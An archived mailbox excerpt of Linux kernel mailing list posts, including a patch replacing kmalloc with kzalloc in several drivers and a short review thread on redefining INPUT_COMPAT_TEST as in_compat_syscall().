List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2136151 gmane.linux.acpi.devel:81428 gmane.linux.kernel.cross-arch:30532 gmane.linux.kernel.mm:145141 gmane.linux.ports.parisc:26454 gmane.linux.kernel.renesas-soc:246 gmane.linux.ports.sh.devel:53232
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2136151>

From: Toshi Kani <toshi.kani@hpe.com>

I/O resource descriptor, 'desc' in struct resource, needs to be
initialized to zero by default.  Some drivers call kmalloc() to
allocate a resource entry, but do not initialize it to zero by
memset().  Change these drivers to call kzalloc(), instead.

Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
Acked-by: Alexandre Bounine <alexandre.bounine@idt.com>
Acked-by: Helge Deller <deller@gmx.de>
Acked-by: Rafael J. Wysocki <rafael.j.wysocki@intel.com>
Acked-by: Simon Horman <horms+renesas@verge.net.au>
Cc: Andrew Morton <akpm@linux-foundation.org>
Cc: linux-acpi@vger.kernel.org
Cc: linux-arch@vger.kernel.org
Cc: linux-mm <linux-mm@kvack.org>
Cc: linux-parisc@vger.kernel.org
Cc: linux-renesas-soc@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Link: http://lkml.kernel.org/r/1452020081-26534-9-git-send-email-toshi.kani@hpe.com
Signed-off-by: Borislav Petkov <bp@suse.de>
---
 drivers/acpi/acpi_platform.c       | 2 +-
 drivers/parisc/eisa_enumerator.c   | 4 ++--
 drivers/rapidio/rio.c              | 8 ++++----
 drivers/sh/superhyway/superhyway.c | 2 +-
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/drivers/acpi/acpi_platform.c b/drivers/acpi/acpi_platform.c
index 296b7a14893a..b6f7fa3a1d40 100644
--- a/drivers/acpi/acpi_platform.c
+++ b/drivers/acpi/acpi_platform.c
@@ -62,7 +62,7 @@ struct platform_device *acpi_create_platform_device(struct acpi_device *adev)
 	if (count < 0) {
 		return NULL;
 	} else if (count > 0) {
-		resources = kmalloc(count * sizeof(struct resource),
+		resources = kzalloc(count * sizeof(struct resource),
 				    GFP_KERNEL);
 		if (!resources) {
 			dev_err(&adev->dev, "No memory for resources\n");
diff --git a/drivers/parisc/eisa_enumerator.c b/drivers/parisc/eisa_enumerator.c
index a656d9e83343..21905fef2cbf 100644
--- a/drivers/parisc/eisa_enumerator.c
+++ b/drivers/parisc/eisa_enumerator.c
@@ -91,7 +91,7 @@ static int configure_memory(const unsigned char *buf,
 	for (i=0;i<HPEE_MEMORY_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			int result;
 			
 			res->name = name;
@@ -183,7 +183,7 @@ static int configure_port(const unsigned char *buf, struct resource *io_parent,
 	for (i=0;i<HPEE_PORT_MAX_ENT;i++) {
 		c = get_8(buf+len);
 		
-		if (NULL != (res = kmalloc(sizeof(struct resource), GFP_KERNEL))) {
+		if (NULL != (res = kzalloc(sizeof(struct resource), GFP_KERNEL))) {
 			res->name = board;
 			res->start = get_16(buf+len+1);
 			res->end = get_16(buf+len+1)+(c&HPEE_PORT_SIZE_MASK)+1;
diff --git a/drivers/rapidio/rio.c b/drivers/rapidio/rio.c
index d7b87c64b7cd..e220edc85c68 100644
--- a/drivers/rapidio/rio.c
+++ b/drivers/rapidio/rio.c
@@ -117,7 +117,7 @@ int rio_request_inb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_inb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -185,7 +185,7 @@ int rio_request_outb_mbox(struct rio_mport *mport,
 	if (mport->ops->open_outb_mbox == NULL)
 		goto out;
 
-	res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_mbox_res(res, mbox, mbox);
@@ -285,7 +285,7 @@ int rio_request_inb_dbell(struct rio_mport *mport,
 {
 	int rc = 0;
 
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
@@ -360,7 +360,7 @@ int rio_release_inb_dbell(struct rio_mport *mport, u16 start, u16 end)
 struct resource *rio_request_outb_dbell(struct rio_dev *rdev, u16 start,
 					u16 end)
 {
-	struct resource *res = kmalloc(sizeof(struct resource), GFP_KERNEL);
+	struct resource *res = kzalloc(sizeof(struct resource), GFP_KERNEL);
 
 	if (res) {
 		rio_init_dbell_res(res, start, end);
diff --git a/drivers/sh/superhyway/superhyway.c b/drivers/sh/superhyway/superhyway.c
index 2d9e7f3d5611..bb1fb7712134 100644
--- a/drivers/sh/superhyway/superhyway.c
+++ b/drivers/sh/superhyway/superhyway.c
@@ -66,7 +66,7 @@ int superhyway_add_device(unsigned long base, struct superhyway_device *sdev,
 	superhyway_read_vcr(dev, base, &dev->vcr);
 
 	if (!dev->resource) {
-		dev->resource = kmalloc(sizeof(struct resource), GFP_KERNEL);
+		dev->resource = kzalloc(sizeof(struct resource), GFP_KERNEL);
 		if (!dev->resource) {
 			kfree(dev);
 			return -ENOMEM;
-- 
2.3.5



From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 14/16] input: Redefine INPUT_COMPAT_TEST as in_compat_syscall()
Date: Wed, 27 Jan 2016 11:17:05 -0800
Lines: 45
Approved: news@gmane.org
Message-ID: <CAKdAkRQm6ADz5aCYAFxXcoGZ2zNFwTUXjMzZdNj-D2-YrYQtrg@mail.gmail.com>
References: <cover.1453759363.git.luto@kernel.org>
        <64480084bc652d5fa91bf5cd4be979e2f1e4cf11.1453759363.git.luto@kernel.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1453922263 5074 80.91.229.3 (27 Jan 2016 19:17:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Jan 2016 19:17:43 +0000 (UTC)
Cc: Andrew Morton <akpm@linux-foundation.org>,
        Al Viro <viro@zeniv.linux.org.uk>,
        Linus Torvalds <torvalds@linux-foundation.org>,
        X86 ML <x86@kernel.org>,
        linux-arch <linux-arch@vger.kernel.org>,
        David Miller <davem@davemloft.net>,
        "linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
        Chris Metcalf <cmetcalf@ezchip.com>,
        linux-parisc@vger.kernel.org,
        "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
        sparclinux@vger.kernel.org
To: Andy Lutomirski <luto@kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Wed Jan 27 20:17:34 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aOVat-0004D1-I9
	for sgi-linux-mips@gmane.org; Wed, 27 Jan 2016 20:17:31 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:37430 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011813AbcA0TR3a0Anv (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Wed, 27 Jan 2016 20:17:29 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Wed, 27 Jan 2016 20:17:13 +0100 (CET)
Original-Received: from mail-ob0-f169.google.com ([209.85.214.169]:36124 "EHLO
        mail-ob0-f169.google.com" rhost-flags-OK-OK-OK-OK)
        by eddie.linux-mips.org with ESMTP id S27011776AbcA0TRLe9iGv (ORCPT
        <rfc822;linux-mips@linux-mips.org>); Wed, 27 Jan 2016 20:17:11 +0100
Original-Received: by mail-ob0-f169.google.com with SMTP id ba1so15878983obb.3
        for <linux-mips@linux-mips.org>; Wed, 27 Jan 2016 11:17:11 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=tKmu8q8Cz/netD4cpnF2F6Hh8A9FYPDWq5Q68Mh+Ano=;
        b=cSB0dT1b+209C6wYCMAVUoEpNobhK7u7QMxdPrd+0LBjceoL8j9jBdFtKfdKKPSnxm
         W5PUp8i/iFzuisrN2Gf/VmF6ZW3b/RbJt95fIMGdQ5xi/fR3xIjcOAtlyhw9BofVpNLC
         F6ykUocoQ8QPaA1weZRw5KwaqXMS4AYaKtP37NLYT1rj2kcXO2EBrUwJQ0dxnSA1uDdN
         OsFu3hxQ0J/xKMh9PAhGqMH4KM+02+O0wOFmIY+8LdOEyS/DG8i+fVif//feJ9k7mDZj
         GgeZWRYQSTSWw2WW+F+aGX4N3T7QYQ6T3rEFIf3vUv8PRymPHdTObk37wyd/ckJNCbhL
         tIlQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=tKmu8q8Cz/netD4cpnF2F6Hh8A9FYPDWq5Q68Mh+Ano=;
        b=NEcRu6gJpsSu7zHNGWqBPS3dsJsxCkuSk0kRA5HWw0JRMcohkd9jBG1ZKWoHU5rAt5
         7Bj5UL3rP/RlLz3kLYpfymm4ED+f/HAyma+tAeo5Plig0NSOICbyZI5zk8XbwsHNmaMj
         tDukaW/LMCgXEakzaJi723VqrPYmtxSI76yAlL2RCzGRi+YPijwfQ2gHxDPzx0zBclzv
         uhpXzU2bduF53RCB2v6yZKPgTI+Wo2KgQFrX9sE8ERE/Ne+WOB5cpt4N+Ev54mTZSyS7
         UnaUZMBY4ufHa54vl0jaoRyBt4O1okC+qMpPPoOBoQ37AxbEBSXY16bI8z/rG1z5bDLT
         lx7Q==
X-Gm-Message-State: AG10YOQEcUId/0s38zm7T/+jBv4IVnz1PzQfs+Tg8dgDGgRrnKxFATld0A443K87LCM3OvXu2O0cY7wUgxkGaQ==
X-Received: by 10.60.226.203 with SMTP id ru11mr24290738oec.36.1453922225625;
 Wed, 27 Jan 2016 11:17:05 -0800 (PST)
Original-Received: by 10.182.73.193 with HTTP; Wed, 27 Jan 2016 11:17:05 -0800 (PST)
In-Reply-To: <64480084bc652d5fa91bf5cd4be979e2f1e4cf11.1453759363.git.luto@kernel.org>
X-archive-position: 51483
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: dmitry.torokhov@gmail.com
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52641 gmane.linux.kernel.cross-arch:30590 gmane.linux.ports.parisc:26455 gmane.linux.ports.sparc:22300
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52641>

Hi Andy,

On Mon, Jan 25, 2016 at 2:24 PM, Andy Lutomirski <luto@kernel.org> wrote:
> The input compat code should work like all other compat code: for
> 32-bit syscalls, use the 32-bit ABI and for 64-bit syscalls, use the
> 64-bit ABI.  We have a helper for that (in_compat_syscall()): just
> use it.
>
> Signed-off-by: Andy Lutomirski <luto@kernel.org>
> ---
>  drivers/input/input-compat.h | 12 +-----------
>  1 file changed, 1 insertion(+), 11 deletions(-)
>
> diff --git a/drivers/input/input-compat.h b/drivers/input/input-compat.h
> index 148f66fe3205..0f25878d5fa2 100644
> --- a/drivers/input/input-compat.h
> +++ b/drivers/input/input-compat.h
> @@ -17,17 +17,7 @@
>
>  #ifdef CONFIG_COMPAT
>
> -/* Note to the author of this code: did it ever occur to
> -   you why the ifdefs are needed? Think about it again. -AK */
> -#if defined(CONFIG_X86_64) || defined(CONFIG_TILE)
> -#  define INPUT_COMPAT_TEST is_compat_task()
> -#elif defined(CONFIG_S390)
> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_31BIT)
> -#elif defined(CONFIG_MIPS)
> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT_ADDR)
> -#else
> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT)
> -#endif
> +#define INPUT_COMPAT_TEST in_compat_syscall()
>


If we now have function that works on all arches I'd prefer if we used
it directly instead of continuing using INPUT_COMPAT_TEST.

Thanks.

-- 
Dmitry



From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Lutomirski <luto@amacapital.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH v2 14/16] input: Redefine INPUT_COMPAT_TEST as in_compat_syscall()
Date: Wed, 27 Jan 2016 12:29:14 -0800
Lines: 49
Approved: news@gmane.org
Message-ID: <CALCETrUUNM1Qoqna1e7qmEqNUwo99PJe9fSuXG4fzPdSBLfPuA@mail.gmail.com>
References: <cover.1453759363.git.luto@kernel.org> <64480084bc652d5fa91bf5cd4be979e2f1e4cf11.1453759363.git.luto@kernel.org>
 <CAKdAkRQm6ADz5aCYAFxXcoGZ2zNFwTUXjMzZdNj-D2-YrYQtrg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1453940808 13266 80.91.229.3 (28 Jan 2016 00:26:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Jan 2016 00:26:48 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	X86 ML <x86@kernel.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	sparclinux@vger.kernel.org
To: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Original-X-From: sparclinux-owner@vger.kernel.org Wed Jan 27 21:29:48 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aOWik-0000dQ-Cx
	for lnx-sparclinux@plane.gmane.org; Wed, 27 Jan 2016 21:29:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S966425AbcA0U3k (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Wed, 27 Jan 2016 15:29:40 -0500
Original-Received: from mail-oi0-f49.google.com ([209.85.218.49]:34781 "EHLO
	mail-oi0-f49.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S967666AbcA0U3f (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Wed, 27 Jan 2016 15:29:35 -0500
Original-Received: by mail-oi0-f49.google.com with SMTP id k206so13364409oia.1
        for <sparclinux@vger.kernel.org>; Wed, 27 Jan 2016 12:29:34 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=amacapital-net.20150623.gappssmtp.com; s=20150623;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :cc:content-type;
        bh=FPRZr0KAR4F952/dY3oU149IheGj+qRHaQwFmLeg3WA=;
        b=BojvhHPgJo0/Vw5uIdKU1IcsWIkpF0cDDm0pTX2SNRmdzln6Cdco8lfaAWK15VtDZU
         Nv2NilW+yzqYVBiLHGIxavHAkQZDNswtoEeEye1KFUEt37r1ELOOqg+ByV/XfgLFRR0a
         sIaLofQlQlQgrluKf9TmsgARiHJcRQxSO/wFj2OH+9ZVziJUlkuLCOhvYCSazofyMWfg
         MpIG8HvltntAmTesNIW85rGmZk2zrQj4ZNL+CDrcN58I1AjkudyH6ZLfyNmeqsQAf3vu
         UAno4FbyuN6ZQWEg1ykNk1YQJNI4RuuTiWCQnedmfHbg0K8cYvKOfdE3+eNdkVEF8hQC
         rIAg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:in-reply-to:references:from:date
         :message-id:subject:to:cc:content-type;
        bh=FPRZr0KAR4F952/dY3oU149IheGj+qRHaQwFmLeg3WA=;
        b=gDHxFNzqggQOSuklu8+El/5IXOfA9t0YIvu0kBTwV6fT5hSkvG+O0CdCnHgpH8O/SP
         gq3LGLyCOdP7Y2KqEshj8x78rpPVF88grHr5vP3duhJAzFlXJW+TKVsFAcmxg3FEj86R
         stlVUTOReZBF9nneM6YbPAzP9Yq/LwzUe1cWMZMNSo77mO798SXNDv+WP62WkMXYb10W
         0/1PTQM7od8kklNiRiaHrP3ARhzaJuxHyVPLrCQUbbpNkHylsgjVIOCf9siBZKqpSB/A
         lOnCbxBeIV+UqN2GXx/os8VIBpZzEHENAB0Z1Nq3Qbl9k196/wXH5xts9abMJ+AbUpE1
         RgZA==
X-Gm-Message-State: AG10YOT8NQiSNcmebjWGb5QcIWM9R2iaaW8uzxom+ONheIP7XOaKJGJ+Mcp8bd2OwuS181T7KsY9BSfGnQ2YXDTZ
X-Received: by 10.202.212.208 with SMTP id l199mr23500497oig.43.1453926574443;
 Wed, 27 Jan 2016 12:29:34 -0800 (PST)
Original-Received: by 10.202.102.231 with HTTP; Wed, 27 Jan 2016 12:29:14 -0800 (PST)
In-Reply-To: <CAKdAkRQm6ADz5aCYAFxXcoGZ2zNFwTUXjMzZdNj-D2-YrYQtrg@mail.gmail.com>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22301 gmane.linux.kernel.cross-arch:30593 gmane.linux.ports.parisc:26456 gmane.linux.ports.mips.general:52648

On Wed, Jan 27, 2016 at 11:17 AM, Dmitry Torokhov
<dmitry.torokhov@gmail.com> wrote:
> Hi Andy,
>
> On Mon, Jan 25, 2016 at 2:24 PM, Andy Lutomirski <luto@kernel.org> wrote:
>> The input compat code should work like all other compat code: for
>> 32-bit syscalls, use the 32-bit ABI and for 64-bit syscalls, use the
>> 64-bit ABI.  We have a helper for that (in_compat_syscall()): just
>> use it.
>>
>> Signed-off-by: Andy Lutomirski <luto@kernel.org>
>> ---
>>  drivers/input/input-compat.h | 12 +-----------
>>  1 file changed, 1 insertion(+), 11 deletions(-)
>>
>> diff --git a/drivers/input/input-compat.h b/drivers/input/input-compat.h
>> index 148f66fe3205..0f25878d5fa2 100644
>> --- a/drivers/input/input-compat.h
>> +++ b/drivers/input/input-compat.h
>> @@ -17,17 +17,7 @@
>>
>>  #ifdef CONFIG_COMPAT
>>
>> -/* Note to the author of this code: did it ever occur to
>> -   you why the ifdefs are needed? Think about it again. -AK */
>> -#if defined(CONFIG_X86_64) || defined(CONFIG_TILE)
>> -#  define INPUT_COMPAT_TEST is_compat_task()
>> -#elif defined(CONFIG_S390)
>> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_31BIT)
>> -#elif defined(CONFIG_MIPS)
>> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT_ADDR)
>> -#else
>> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT)
>> -#endif
>> +#define INPUT_COMPAT_TEST in_compat_syscall()
>>
>
>
> If we now have function that works on all arches I'd prefer if we used
> it directly instead of continuing using INPUT_COMPAT_TEST.

I'll write a followup patch for that if you don't beat me to it.

--Andy
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Torokhov <dmitry.torokhov@gmail.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general,gmane.linux.ports.sparc
Subject: Re: [PATCH v2 14/16] input: Redefine INPUT_COMPAT_TEST as
 in_compat_syscall()
Date: Wed, 27 Jan 2016 13:06:10 -0800
Lines: 48
Approved: news@gmane.org
Message-ID: <20160127210610.GB28687@dtor-ws>
References: <cover.1453759363.git.luto@kernel.org>
 <64480084bc652d5fa91bf5cd4be979e2f1e4cf11.1453759363.git.luto@kernel.org>
 <CAKdAkRQm6ADz5aCYAFxXcoGZ2zNFwTUXjMzZdNj-D2-YrYQtrg@mail.gmail.com>
 <CALCETrUUNM1Qoqna1e7qmEqNUwo99PJe9fSuXG4fzPdSBLfPuA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1453941811 31731 80.91.229.3 (28 Jan 2016 00:43:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Jan 2016 00:43:31 +0000 (UTC)
Cc: Andy Lutomirski <luto@kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Al Viro <viro@zeniv.linux.org.uk>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	X86 ML <x86@kernel.org>,
	linux-arch <linux-arch@vger.kernel.org>,
	David Miller <davem@davemloft.net>,
	"linux-s390@vger.kernel.org" <linux-s390@vger.kernel.org>,
	Chris Metcalf <cmetcalf@ezchip.com>,
	linux-parisc@vger.kernel.org,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	sparclinux@vger.kernel.org
To: Andy Lutomirski <luto@amacapital.net>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Jan 27 22:06:26 2016
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1aOXIE-0002h5-K3
	for glka-linux-arch@plane.gmane.org; Wed, 27 Jan 2016 22:06:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S967897AbcA0VGV (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 27 Jan 2016 16:06:21 -0500
Original-Received: from mail-pf0-f170.google.com ([209.85.192.170]:34044 "EHLO
	mail-pf0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S966209AbcA0VGR (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Wed, 27 Jan 2016 16:06:17 -0500
Original-Received: by mail-pf0-f170.google.com with SMTP id o185so6135261pfb.1;
        Wed, 27 Jan 2016 13:06:17 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=date:from:to:cc:subject:message-id:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        bh=gBUxTT/jVn1q8BvM3sbBM6HgyV+vfIDRB7+JxguiY/E=;
        b=D4W9+fZKyscMZx7ua1bMt0l1Y1f7Q3Owzusgrw+xahTler8l4cxvZGk0yIuA8SWmmX
         gYc2oS1arH4Y29lmS1mAIRh12DUDNbbfYAbS+um30S7c4s3ValrKzW3emUa9f8cW/dET
         H2bEApU3qY3EZqGz5DjdHC9fqTqnwEVBAjqDvTfRhzCO76ktu7qs9/fcGWIsfF4eLoRl
         u44LZIA0EGGY/AB/bKq/3sW6GOnkCaYYPmAxMBjGMTtiloydc7YS7zPA7fyrxNnspX25
         GKBmHQBQGUqI0VCeN2xs3vR9buZkfYcvV9hC7WR3iMHgueilAVkGc6518yK+Ld5om1Nc
         a8gg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:references
         :mime-version:content-type:content-disposition:in-reply-to
         :user-agent;
        bh=gBUxTT/jVn1q8BvM3sbBM6HgyV+vfIDRB7+JxguiY/E=;
        b=bfzO2G3aNZpt8Wjg2Ffk0YJwXSvfDvummR5vJ7UVuNFsuy6BAIFE0JeU5zWR4bxQzH
         xxucxRYqJCIZY4vguSTB8eS3nuKxU+sj6szp9oXC3UcybLk+Z+PNyGzN1NkyEkcJ9quL
         2hFOLOJHclWx/aLC2QRbfX/Aw5uk6tlcgbJ3XBXAcfLYLG2xttqj3km904+rOf2Nov6j
         B8BTqbP2T4zp85MkadUlQBoVwWZ5oGD0lUoQwtfTck48gLrqBAhT2l8h2Akp3Ch/6iG2
         nv/WhWbeCH/7n6Gb0aBZubidKnOgX/HKirtLbrK/teC4YFgHBwXMESzMhEulk80ep8fx
         ke4w==
X-Gm-Message-State: AG10YOTljknzb04iR17CkK8tyilJeyZAC4HqlVQU/kqmvfC+bkypP4E7DDmQS8zaiSsmdA==
X-Received: by 10.98.87.204 with SMTP id i73mr45310411pfj.63.1453928776900;
        Wed, 27 Jan 2016 13:06:16 -0800 (PST)
Original-Received: from dtor-ws ([2620:0:1000:1301:702e:ee06:f118:7e37])
        by smtp.gmail.com with ESMTPSA id n8sm11097393pfj.46.2016.01.27.13.06.12
        (version=TLS1_2 cipher=AES128-SHA bits=128/128);
        Wed, 27 Jan 2016 13:06:13 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <CALCETrUUNM1Qoqna1e7qmEqNUwo99PJe9fSuXG4fzPdSBLfPuA@mail.gmail.com>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:30596 gmane.linux.ports.parisc:26457 gmane.linux.ports.mips.general:52655 gmane.linux.ports.sparc:22304

On Wed, Jan 27, 2016 at 12:29:14PM -0800, Andy Lutomirski wrote:
> On Wed, Jan 27, 2016 at 11:17 AM, Dmitry Torokhov
> <dmitry.torokhov@gmail.com> wrote:
> > Hi Andy,
> >
> > On Mon, Jan 25, 2016 at 2:24 PM, Andy Lutomirski <luto@kernel.org> wrote:
> >> The input compat code should work like all other compat code: for
> >> 32-bit syscalls, use the 32-bit ABI and for 64-bit syscalls, use the
> >> 64-bit ABI.  We have a helper for that (in_compat_syscall()): just
> >> use it.
> >>
> >> Signed-off-by: Andy Lutomirski <luto@kernel.org>
> >> ---
> >>  drivers/input/input-compat.h | 12 +-----------
> >>  1 file changed, 1 insertion(+), 11 deletions(-)
> >>
> >> diff --git a/drivers/input/input-compat.h b/drivers/input/input-compat.h
> >> index 148f66fe3205..0f25878d5fa2 100644
> >> --- a/drivers/input/input-compat.h
> >> +++ b/drivers/input/input-compat.h
> >> @@ -17,17 +17,7 @@
> >>
> >>  #ifdef CONFIG_COMPAT
> >>
> >> -/* Note to the author of this code: did it ever occur to
> >> -   you why the ifdefs are needed? Think about it again. -AK */
> >> -#if defined(CONFIG_X86_64) || defined(CONFIG_TILE)
> >> -#  define INPUT_COMPAT_TEST is_compat_task()
> >> -#elif defined(CONFIG_S390)
> >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_31BIT)
> >> -#elif defined(CONFIG_MIPS)
> >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT_ADDR)
> >> -#else
> >> -#  define INPUT_COMPAT_TEST test_thread_flag(TIF_32BIT)
> >> -#endif
> >> +#define INPUT_COMPAT_TEST in_compat_syscall()
> >>
> >
> >
> > If we now have function that works on all arches I'd prefer if we used
> > it directly instead of continuing using INPUT_COMPAT_TEST.
> 
> I'll write a followup patch for that if you don't beat me to it.

I promise I wont ;)

-- 
Dmitry

From - Thu Nov 08 21:38:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeffrey Merkey <jeffmerkey@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
